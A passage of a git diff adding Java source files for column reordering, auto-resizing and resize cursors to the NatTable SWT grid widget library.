(fromColumnPosition > toColumnPosition ? 1 : 0)); + invalidateCache(); + } + + public void reorderColumnPosition(int fromColumnPosition, int toColumnPosition) { + moveColumn(fromColumnPosition, toColumnPosition); + fireLayerEvent(new ColumnReorderEvent(this, fromColumnPosition, toColumnPosition)); + } + + public void reorderMultipleColumnPositions(List fromColumnPositions, int toColumnPosition) { + // Moving from left to right + final int fromColumnPositionsCount = fromColumnPositions.size(); + + if (toColumnPosition > fromColumnPositions.get(fromColumnPositionsCount - 1).intValue()) { + int firstColumnPosition = fromColumnPositions.get(0).intValue(); + + for (int columnCount = 0; columnCount < fromColumnPositionsCount; columnCount++) { + final int fromColumnPosition = fromColumnPositions.get(0).intValue(); + moveColumn(fromColumnPosition, toColumnPosition); + if (fromColumnPosition < firstColumnPosition) { + firstColumnPosition = fromColumnPosition; + } + } + } else if (toColumnPosition < fromColumnPositions.get(fromColumnPositionsCount - 1).intValue()) { + // Moving from right to left + int targetColumnPosition = toColumnPosition; + for (Integer fromColumnPosition : fromColumnPositions) { + final int fromColumnPositionInt = fromColumnPosition.intValue(); + moveColumn(fromColumnPositionInt, targetColumnPosition++); + } + } + + fireLayerEvent(new ColumnReorderEvent(this, fromColumnPositions, toColumnPosition)); + } + + private void invalidateCache() { + startXCache.clear(); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/action/ColumnReorderDragMode.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/action/ColumnReorderDragMode.java new file mode 100644 index 0000000..dc823f8 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/action/ColumnReorderDragMode.java @@ -0,0 +1,137 @@ +package net.sourceforge.nattable.reorder.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.IOverlayPainter; +import net.sourceforge.nattable.reorder.command.ColumnReorderCommand; +import net.sourceforge.nattable.ui.action.IDragMode; +import net.sourceforge.nattable.ui.util.CellEdgeDetectUtil; +import net.sourceforge.nattable.ui.util.CellEdgeEnum; +import net.sourceforge.nattable.util.GUIHelper; +import net.sourceforge.nattable.viewport.command.ViewportSelectColumnCommand; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; + +/** + * Default {@link IDragMode} invoked for 'left click + drag' on the column header.
    + * It does the following when invoked:
    + *
      + *
    1. Fires a column reorder command, to move columns
    2. + *
    3. Overlays a black line indicating the new column position
    4. + *
    + */ +public class ColumnReorderDragMode implements IDragMode { + + protected int dragFromGridColumnPosition = -1; + protected int dragToGridColumnPosition = -1; + protected int dragToColumnHandleX = -1; + protected ColumnReorderOverlayPainter overlayPainter = new ColumnReorderOverlayPainter(); + protected LabelStack regionLabels; + protected boolean isValidCoordinate = false; + private CellEdgeEnum moveDirection = null; + + public void mouseDown(NatTable natTable, MouseEvent event) { + natTable.forceFocus(); + regionLabels = natTable.getRegionLabelsByXY(event.x, event.y); + dragFromGridColumnPosition = natTable.getColumnPositionByX(event.x); + dragToGridColumnPosition = -1; + dragToColumnHandleX = -1; + selectDragFocusColumn(natTable, event, dragFromGridColumnPosition); + natTable.addOverlayPainter(overlayPainter); + } + + public void mouseMove(NatTable natTable, MouseEvent event) { + if (event.x > natTable.getWidth()) { + return; + } + Point dragPt = new Point(event.x, event.y); + + int gridColumnPosition = natTable.getColumnPositionByX(event.x); + + if (gridColumnPosition >= 0) { + int gridRowPosition = natTable.getRowPositionByY(event.y); + LayerCell cell = natTable.getCellByPosition(gridColumnPosition, gridRowPosition); + if (cell == null) { + return; + } + Rectangle selectedColumnHeaderRect = cell.getBounds(); + + int tmpDragToGridColumnPosition = 0; + moveDirection = CellEdgeDetectUtil.getHorizontalCellEdge(selectedColumnHeaderRect, dragPt); + switch (moveDirection) { + case LEFT: + tmpDragToGridColumnPosition = gridColumnPosition; + if ((isValidCoordinate = isValidTargetColumnPosition(natTable, dragFromGridColumnPosition,tmpDragToGridColumnPosition, event))) { + dragToGridColumnPosition = tmpDragToGridColumnPosition; + dragToColumnHandleX = selectedColumnHeaderRect.x; + }else { + dragToColumnHandleX = 0; + } + break; + case RIGHT: + tmpDragToGridColumnPosition = gridColumnPosition + 1; + if ((isValidCoordinate = isValidTargetColumnPosition(natTable, dragFromGridColumnPosition, tmpDragToGridColumnPosition, event))) { + dragToGridColumnPosition = tmpDragToGridColumnPosition; + dragToColumnHandleX = selectedColumnHeaderRect.x + selectedColumnHeaderRect.width; + } else { + dragToColumnHandleX = 0; + } + break; + } + natTable.redraw(0, 0, natTable.getWidth(), natTable.getHeight(), false); + } + } + + protected boolean isValidTargetColumnPosition(ILayer natLayer, int dragFromColumnPosition, int dragToGridColumnPosition, MouseEvent event) { + return true; + } + + public void mouseUp(NatTable natTable, MouseEvent event) { + natTable.removeOverlayPainter(overlayPainter); + if (dragFromGridColumnPosition >= 0 && dragToGridColumnPosition >= 0 && isValidCoordinate) { + + fireMoveCommand(natTable); + + if(CellEdgeEnum.RIGHT == moveDirection) { + selectDragFocusColumn(natTable, event, dragToGridColumnPosition - 1); + } else { + selectDragFocusColumn(natTable, event, dragToGridColumnPosition); + } + } + } + + protected void fireMoveCommand(NatTable natTable) { + natTable.doCommand(new ColumnReorderCommand(natTable, dragFromGridColumnPosition, dragToGridColumnPosition)); + } + + protected void selectDragFocusColumn(ILayer natLayer, MouseEvent event, int focusedColumnPosition) { + boolean shiftMask = (SWT.SHIFT & event.stateMask) != 0; + boolean controlMask = (SWT.CONTROL & event.stateMask) != 0; + + natLayer.doCommand(new ViewportSelectColumnCommand(natLayer, focusedColumnPosition, shiftMask, controlMask)); + } + + private class ColumnReorderOverlayPainter implements IOverlayPainter { + + public void paintOverlay(GC gc, ILayer layer) { + if (dragFromGridColumnPosition >= 0) { + Color orgBgColor = gc.getBackground(); + gc.setBackground(GUIHelper.COLOR_DARK_GRAY); + + gc.fillRectangle(dragToColumnHandleX - 1, 0, 2, layer.getHeight()); + + gc.setBackground(orgBgColor); + } + + } + + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/command/ColumnReorderCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/command/ColumnReorderCommand.java new file mode 100644 index 0000000..66e69f5 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/command/ColumnReorderCommand.java @@ -0,0 +1,41 @@ +package net.sourceforge.nattable.reorder.command; + +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.command.LayerCommandUtil; +import net.sourceforge.nattable.coordinate.ColumnPositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; + +public class ColumnReorderCommand implements ILayerCommand { + + private ColumnPositionCoordinate fromColumnPositionCoordinate; + private ColumnPositionCoordinate toColumnPositionCoordinate; + + public ColumnReorderCommand(ILayer layer, int fromColumnPosition, int toColumnPosition) { + fromColumnPositionCoordinate = new ColumnPositionCoordinate(layer, fromColumnPosition); + toColumnPositionCoordinate = new ColumnPositionCoordinate(layer, toColumnPosition); + } + + protected ColumnReorderCommand(ColumnReorderCommand command) { + this.fromColumnPositionCoordinate = command.fromColumnPositionCoordinate; + this.toColumnPositionCoordinate = command.toColumnPositionCoordinate; + } + + public int getFromColumnPosition() { + return fromColumnPositionCoordinate.getColumnPosition(); + } + + public int getToColumnPosition() { + return toColumnPositionCoordinate.getColumnPosition(); + } + + public boolean convertToTargetLayer(ILayer targetLayer) { + fromColumnPositionCoordinate = LayerCommandUtil.convertColumnPositionToTargetContext(fromColumnPositionCoordinate, targetLayer); + toColumnPositionCoordinate = LayerCommandUtil.convertColumnPositionToTargetContext(toColumnPositionCoordinate, targetLayer); + return fromColumnPositionCoordinate != null && toColumnPositionCoordinate != null; + } + + public ColumnReorderCommand cloneCommand() { + return new ColumnReorderCommand(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/command/ColumnReorderCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/command/ColumnReorderCommandHandler.java new file mode 100644 index 0000000..14416e7 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/command/ColumnReorderCommandHandler.java @@ -0,0 +1,28 @@ +package net.sourceforge.nattable.reorder.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.reorder.ColumnReorderLayer; + +public class ColumnReorderCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnReorderLayer columnReorderLayer; + + public ColumnReorderCommandHandler(ColumnReorderLayer columnReorderLayer) { + this.columnReorderLayer = columnReorderLayer; + } + + public Class getCommandClass() { + return ColumnReorderCommand.class; + } + + @Override + protected boolean doCommand(ColumnReorderCommand command) { + int fromColumnPosition = command.getFromColumnPosition(); + int toColumnPosition = command.getToColumnPosition(); + + columnReorderLayer.reorderColumnPosition(fromColumnPosition, toColumnPosition); + + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/command/MultiColumnReorderCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/command/MultiColumnReorderCommand.java new file mode 100644 index 0000000..1472b60 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/command/MultiColumnReorderCommand.java @@ -0,0 +1,63 @@ +package net.sourceforge.nattable.reorder.command; + +import java.util.ArrayList; +import java.util.List; + +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.command.LayerCommandUtil; +import net.sourceforge.nattable.coordinate.ColumnPositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; + +public class MultiColumnReorderCommand implements ILayerCommand { + + private List fromColumnPositionCoordinates; + private ColumnPositionCoordinate toColumnPositionCoordinate; + + public MultiColumnReorderCommand(ILayer layer, List fromColumnPositions, int toColumnPositions) { + fromColumnPositionCoordinates = new ArrayList(); + for (Integer fromColumnPosition : fromColumnPositions) { + fromColumnPositionCoordinates.add(new ColumnPositionCoordinate(layer, fromColumnPosition.intValue())); + } + + toColumnPositionCoordinate = new ColumnPositionCoordinate(layer, toColumnPositions); + } + + protected MultiColumnReorderCommand(MultiColumnReorderCommand command) { + this.fromColumnPositionCoordinates = new ArrayList(command.fromColumnPositionCoordinates); + this.toColumnPositionCoordinate = command.toColumnPositionCoordinate; + } + + public List getFromColumnPositions() { + List fromColumnPositions = new ArrayList(); + for (ColumnPositionCoordinate fromColumnPositionCoordinate : fromColumnPositionCoordinates) { + fromColumnPositions.add(Integer.valueOf(fromColumnPositionCoordinate.getColumnPosition())); + } + return fromColumnPositions; + } + + public int getToColumnPosition() { + return toColumnPositionCoordinate.getColumnPosition(); + } + + public boolean convertToTargetLayer(ILayer targetLayer) { + List convertedFromColumnPositionCoordinates = new ArrayList(); + + for (ColumnPositionCoordinate fromColumnPositionCoordinate : fromColumnPositionCoordinates) { + ColumnPositionCoordinate convertedFromColumnPositionCoordinate = LayerCommandUtil.convertColumnPositionToTargetContext(fromColumnPositionCoordinate, targetLayer); + if (convertedFromColumnPositionCoordinate != null) { + convertedFromColumnPositionCoordinates.add(convertedFromColumnPositionCoordinate); + } + } + + fromColumnPositionCoordinates = convertedFromColumnPositionCoordinates; + + toColumnPositionCoordinate = LayerCommandUtil.convertColumnPositionToTargetContext(toColumnPositionCoordinate, targetLayer); + + return fromColumnPositionCoordinates.size() > 0 && toColumnPositionCoordinate != null; + } + + public MultiColumnReorderCommand cloneCommand() { + return new MultiColumnReorderCommand(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/command/MultiColumnReorderCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/command/MultiColumnReorderCommandHandler.java new file mode 100644 index 0000000..218f6f7 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/command/MultiColumnReorderCommandHandler.java @@ -0,0 +1,30 @@ +package net.sourceforge.nattable.reorder.command; + +import java.util.List; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.reorder.ColumnReorderLayer; + +public class MultiColumnReorderCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnReorderLayer columnReorderLayer; + + public MultiColumnReorderCommandHandler(ColumnReorderLayer columnReorderLayer) { + this.columnReorderLayer = columnReorderLayer; + } + + public Class getCommandClass() { + return MultiColumnReorderCommand.class; + } + + @Override + protected boolean doCommand(MultiColumnReorderCommand command) { + List fromColumnPositions = command.getFromColumnPositions(); + int toColumnPosition = command.getToColumnPosition(); + + columnReorderLayer.reorderMultipleColumnPositions(fromColumnPositions, toColumnPosition); + + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/config/DefaultColumnReorderLayerConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/config/DefaultColumnReorderLayerConfiguration.java new file mode 100644 index 0000000..ee3f904 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/config/DefaultColumnReorderLayerConfiguration.java @@ -0,0 +1,19 @@ +package net.sourceforge.nattable.reorder.config; + +import net.sourceforge.nattable.config.AggregateConfiguration; +import net.sourceforge.nattable.reorder.ColumnReorderLayer; + +/** + * Added by the {@link ColumnReorderLayer} + */ +public class DefaultColumnReorderLayerConfiguration extends AggregateConfiguration { + + public DefaultColumnReorderLayerConfiguration() { + addColumnReorderUIBindings(); + } + + protected void addColumnReorderUIBindings() { + addConfiguration(new DefaultReorderBindings()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/config/DefaultReorderBindings.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/config/DefaultReorderBindings.java new file mode 100644 index 0000000..d483bbf --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/config/DefaultReorderBindings.java @@ -0,0 +1,19 @@ +package net.sourceforge.nattable.reorder.config; + +import net.sourceforge.nattable.config.AbstractUiBindingConfiguration; +import net.sourceforge.nattable.reorder.action.ColumnReorderDragMode; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; + +import org.eclipse.swt.SWT; + +/** + * Column reorder bindings. Added by {@link DefaultColumnReorderLayerConfiguration} + */ +public class DefaultReorderBindings extends AbstractUiBindingConfiguration { + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.columnHeaderLeftClick(SWT.NONE), new ColumnReorderDragMode()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/event/ColumnReorderEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/event/ColumnReorderEvent.java new file mode 100644 index 0000000..611a53c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/reorder/event/ColumnReorderEvent.java @@ -0,0 +1,103 @@ +package net.sourceforge.nattable.reorder.event; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; +import java.util.List; + +import net.sourceforge.nattable.coordinate.PositionUtil; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.ColumnStructuralChangeEvent; +import net.sourceforge.nattable.layer.event.StructuralDiff; +import net.sourceforge.nattable.layer.event.StructuralDiff.DiffTypeEnum; + +public class ColumnReorderEvent extends ColumnStructuralChangeEvent { + + private Collection beforeFromColumnPositionRanges; + + private int beforeToColumnPosition; + + public ColumnReorderEvent(ILayer layer, int beforeFromColumnPosition, int beforeToColumnPosition) { + this(layer, Arrays.asList(new Integer[] { Integer.valueOf(beforeFromColumnPosition) }), beforeToColumnPosition); + } + + public ColumnReorderEvent(ILayer layer, List beforeFromColumnPositions, int beforeToColumnPosition) { + super(layer); + this.beforeFromColumnPositionRanges = PositionUtil.getRanges(beforeFromColumnPositions); + this.beforeToColumnPosition = beforeToColumnPosition; + + List allColumnPositions = new ArrayList(beforeFromColumnPositions); + allColumnPositions.add(beforeToColumnPosition); + setColumnPositionRanges(PositionUtil.getRanges(allColumnPositions)); + } + + public ColumnReorderEvent(ColumnReorderEvent event) { + super(event); + this.beforeFromColumnPositionRanges = event.beforeFromColumnPositionRanges; + this.beforeToColumnPosition = event.beforeToColumnPosition; + } + + public Collection getBeforeFromColumnPositionRanges() { + return beforeFromColumnPositionRanges; + } + + public int getBeforeToColumnPosition() { + return beforeToColumnPosition; + } + + public Collection getColumnDiffs() { + Collection columnDiffs = new ArrayList(); + + Collection beforeFromColumnPositionRanges = getBeforeFromColumnPositionRanges(); + + int afterAddColumnPosition = beforeToColumnPosition; + for (Range beforeFromColumnPositionRange : beforeFromColumnPositionRanges) { + if (beforeFromColumnPositionRange.start < beforeToColumnPosition) { + afterAddColumnPosition -= Math.min(beforeFromColumnPositionRange.end, beforeToColumnPosition) - beforeFromColumnPositionRange.start; + } else { + break; + } + } + int cumulativeAddSize = 0; + for (Range beforeFromColumnPositionRange : beforeFromColumnPositionRanges) { + cumulativeAddSize += beforeFromColumnPositionRange.size(); + } + + int offset = 0; + for (Range beforeFromColumnPositionRange : beforeFromColumnPositionRanges) { + int afterDeleteColumnPosition = beforeFromColumnPositionRange.start - offset; + if (afterAddColumnPosition < afterDeleteColumnPosition) { + afterDeleteColumnPosition += cumulativeAddSize; + } + columnDiffs.add(new StructuralDiff(DiffTypeEnum.DELETE, beforeFromColumnPositionRange, new Range(afterDeleteColumnPosition, afterDeleteColumnPosition))); + offset += beforeFromColumnPositionRange.size(); + } + Range beforeAddRange = new Range(beforeToColumnPosition, beforeToColumnPosition); + offset = 0; + for (Range beforeFromColumnPositionRange : beforeFromColumnPositionRanges) { + int size = beforeFromColumnPositionRange.size(); + columnDiffs.add(new StructuralDiff(DiffTypeEnum.ADD, beforeAddRange, new Range(afterAddColumnPosition + offset, afterAddColumnPosition + offset + size))); + offset += size; + } + + return columnDiffs; + } + + @Override + public boolean convertToLocal(ILayer targetLayer) { + beforeFromColumnPositionRanges = targetLayer.underlyingToLocalColumnPositions(getLayer(), beforeFromColumnPositionRanges); + beforeToColumnPosition = targetLayer.underlyingToLocalColumnPosition(getLayer(), beforeToColumnPosition); + + if (beforeToColumnPosition >= 0) { + return super.convertToLocal(targetLayer); + } else { + return false; + } + } + + public ColumnReorderEvent cloneEvent() { + return new ColumnReorderEvent(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/MaxCellBoundsHelper.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/MaxCellBoundsHelper.java new file mode 100644 index 0000000..c22cb77 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/MaxCellBoundsHelper.java @@ -0,0 +1,100 @@ +package net.sourceforge.nattable.resize; + +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.config.IConfiguration; +import net.sourceforge.nattable.grid.command.AutoResizeColumnCommandHandler; +import net.sourceforge.nattable.grid.command.AutoResizeRowCommandHandler; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.ICellPainter; + +import org.eclipse.swt.graphics.GC; + +/** + * Does the calculations needed for auto resizing feature + * Helper class for {@link AutoResizeColumnCommandHandler} and {@link AutoResizeRowCommandHandler} + */ +public class MaxCellBoundsHelper { + + /** + * @return Preferred widths for columns. Preferred width is the minimum width + * required to horizontally fit all the contents of the column (including header) + */ + public static int[] getPreferedColumnWidths(IConfigRegistry configRegistry, GC gc, ILayer layer, int[]columnPositions) { + int[] columnWidths = new int[columnPositions.length]; + + for (int i = 0; i < columnPositions.length; i++) { + columnWidths[i] = getPreferredColumnWidth(layer, columnPositions[i], configRegistry, gc); + } + return columnWidths; + } + + /** + * Calculates the minimum width (in pixels) required to display the complete + * contents of the cells in a column. Takes into account the font settings + * and display type conversion. + */ + public static int getPreferredColumnWidth(ILayer layer, int columnPosition, IConfigRegistry configRegistry, GC gc) { + ICellPainter painter; + int maxWidth = 0; + LayerCell cell; + + for (int rowPosition = 0; rowPosition < layer.getRowCount(); rowPosition++) { + cell = layer.getCellByPosition(columnPosition, rowPosition); + if (cell != null) { + painter = configRegistry.getConfigAttribute(CellConfigAttributes.CELL_PAINTER, cell.getDisplayMode(), cell.getConfigLabels().getLabels()); + if (painter != null) { + int preferedWidth = painter.getPreferredWidth(cell, gc, configRegistry); + maxWidth = (preferedWidth > maxWidth) ? preferedWidth : maxWidth; + } + } + } + + return maxWidth; + } + + /** + * @see MaxCellBoundsHelper#getPreferedColumnWidths(IConfiguration, GC, ILayer, int[]) + */ + public static int[] getPreferedRowHeights(IConfigRegistry configRegistry, GC gc, ILayer layer, int[]rows) { + int[] rowHeights = new int[rows.length]; + + for (int i = 0; i < rows.length; i++) { + rowHeights[i] = getPreferredRowHeight(layer, rows[i], configRegistry, gc); + } + return rowHeights; + } + + public static int getPreferredRowHeight(ILayer layer, int rowPosition, IConfigRegistry configRegistry, GC gc) { + int maxHeight = 0; + ICellPainter painter; + LayerCell cell; + + for (int columnPosition = 0; columnPosition < layer.getColumnCount(); columnPosition++) { + cell = layer.getCellByPosition(columnPosition, rowPosition); + if (cell != null) { + painter = configRegistry.getConfigAttribute(CellConfigAttributes.CELL_PAINTER, cell.getDisplayMode(), cell.getConfigLabels().getLabels()); + if (painter != null) { + int preferedHeight = painter.getPreferredHeight(cell, gc, configRegistry); + maxHeight = (preferedHeight > maxHeight) ? preferedHeight : maxHeight; + } + } + } + + return maxHeight; + } + + /** + * Traverse the two arrays and return the greater element in each index position. + */ + public static int[] greater(int[] array1, int[] array2) { + int resultSize = (array1.length < array2.length) ? array1.length : array2.length; + int[] result = new int[resultSize]; + + for(int i=0; i array2[i]) ? array1[i] : array2[i]; + } + return result; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/action/AutoResizeColumnAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/action/AutoResizeColumnAction.java new file mode 100644 index 0000000..b7efdf9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/action/AutoResizeColumnAction.java @@ -0,0 +1,38 @@ +package net.sourceforge.nattable.resize.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.resize.command.InitializeAutoResizeColumnsCommand; +import net.sourceforge.nattable.ui.action.IMouseAction; +import net.sourceforge.nattable.ui.util.CellEdgeDetectUtil; + +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +public class AutoResizeColumnAction implements IMouseAction { + + private GC gc; + + public void run(NatTable natTable, MouseEvent event) { + if (gc == null) { + gc = new GC(natTable); + + natTable.addDisposeListener(new DisposeListener() { + + public void widgetDisposed(DisposeEvent e) { + gc.dispose(); + } + + }); + } + + Point clickPoint = new Point(event.x, event.y); + int column = CellEdgeDetectUtil.getColumnPositionToResize(natTable, clickPoint); + + InitializeAutoResizeColumnsCommand command = new InitializeAutoResizeColumnsCommand(natTable, column, natTable.getConfigRegistry(), gc); + natTable.doCommand(command); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/action/AutoResizeRowAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/action/AutoResizeRowAction.java new file mode 100644 index 0000000..c041df0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/action/AutoResizeRowAction.java @@ -0,0 +1,38 @@ +package net.sourceforge.nattable.resize.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.resize.command.InitializeAutoResizeRowsCommand; +import net.sourceforge.nattable.ui.action.IMouseAction; +import net.sourceforge.nattable.ui.util.CellEdgeDetectUtil; + +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +public class AutoResizeRowAction implements IMouseAction { + + private GC gc; + + public void run(NatTable natTable, MouseEvent event) { + if (gc == null) { + gc = new GC(natTable); + + natTable.addDisposeListener(new DisposeListener() { + + public void widgetDisposed(DisposeEvent e) { + gc.dispose(); + } + + }); + } + + Point clickPoint = new Point(event.x, event.y); + int row = CellEdgeDetectUtil.getRowPositionToResize(natTable, clickPoint); + + InitializeAutoResizeRowsCommand command = new InitializeAutoResizeRowsCommand(natTable, row, natTable.getConfigRegistry(), gc); + natTable.doCommand(command); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/action/ColumnResizeCursorAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/action/ColumnResizeCursorAction.java new file mode 100644 index 0000000..e1e2947 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/action/ColumnResizeCursorAction.java @@ -0,0 +1,33 @@ +package net.sourceforge.nattable.resize.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.ui.action.IMouseAction; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.widgets.Display; + +public class ColumnResizeCursorAction implements IMouseAction { + + private Cursor columnResizeCursor; + + public void run(NatTable natTable, MouseEvent event) { + if (columnResizeCursor == null) { + columnResizeCursor = new Cursor(Display.getDefault(), SWT.CURSOR_SIZEWE); + + natTable.addDisposeListener(new DisposeListener() { + + public void widgetDisposed(DisposeEvent e) { + columnResizeCursor.dispose(); + } + + }); + } + + natTable.setCursor(columnResizeCursor); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/action/RowResizeCursorAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/action/RowResizeCursorAction.java new file mode 100644 index 0000000..46eb839 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/action/RowResizeCursorAction.java @@ -0,0 +1,33 @@ +package net.sourceforge.nattable.resize.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.ui.action.IMouseAction; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.widgets.Display; + +public class RowResizeCursorAction implements IMouseAction { + + private Cursor rowResizeCursor; + + public void run(NatTable natTable, MouseEvent event) { + if (rowResizeCursor == null) { + rowResizeCursor = new Cursor(Display.getDefault(), SWT.CURSOR_SIZENS); + + natTable.addDisposeListener(new DisposeListener() { + + public void widgetDisposed(DisposeEvent e) { + rowResizeCursor.dispose(); + } + + }); + } + + natTable.setCursor(rowResizeCursor); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/AutoResizeColumnsCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/AutoResizeColumnsCommand.java new file mode 100644 index 0000000..c43632a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/AutoResizeColumnsCommand.java @@ -0,0 +1,49 @@ +package net.sourceforge.nattable.resize.command; + +import net.sourceforge.nattable.command.AbstractMultiColumnCommand; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.config.IConfigRegistry; + +import org.eclipse.swt.graphics.GC; + +/** + * Command indicating that all selected columns have to be auto resized i.e made + * wide enough to just fit the widest cell. This should also take the column + * header into account + * + * Note: The {@link InitializeAutoResizeColumnsCommand} has to be fired first + * when autoresizing columns. + */ + +public class AutoResizeColumnsCommand extends AbstractMultiColumnCommand { + + private final IConfigRegistry configRegistry; + private final GC gc; + + public AutoResizeColumnsCommand(InitializeAutoResizeColumnsCommand initCommand) { + super(initCommand.getSourceLayer(), initCommand.getColumnPositions()); + this.configRegistry = initCommand.getConfigRegistry(); + this.gc = initCommand.getGC(); + } + + protected AutoResizeColumnsCommand(AutoResizeColumnsCommand command) { + super(command); + this.configRegistry = command.configRegistry; + this.gc = command.gc; + } + + public ILayerCommand cloneCommand() { + return new AutoResizeColumnsCommand(this); + } + + // Accessors + + public GC getGC() { + return gc; + } + + public IConfigRegistry getConfigRegistry() { + return configRegistry; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/AutoResizeRowsCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/AutoResizeRowsCommand.java new file mode 100644 index 0000000..1d5f7f1 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/AutoResizeRowsCommand.java @@ -0,0 +1,43 @@ +package net.sourceforge.nattable.resize.command; + +import net.sourceforge.nattable.command.AbstractMultiRowCommand; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.config.IConfigRegistry; + +import org.eclipse.swt.graphics.GC; + 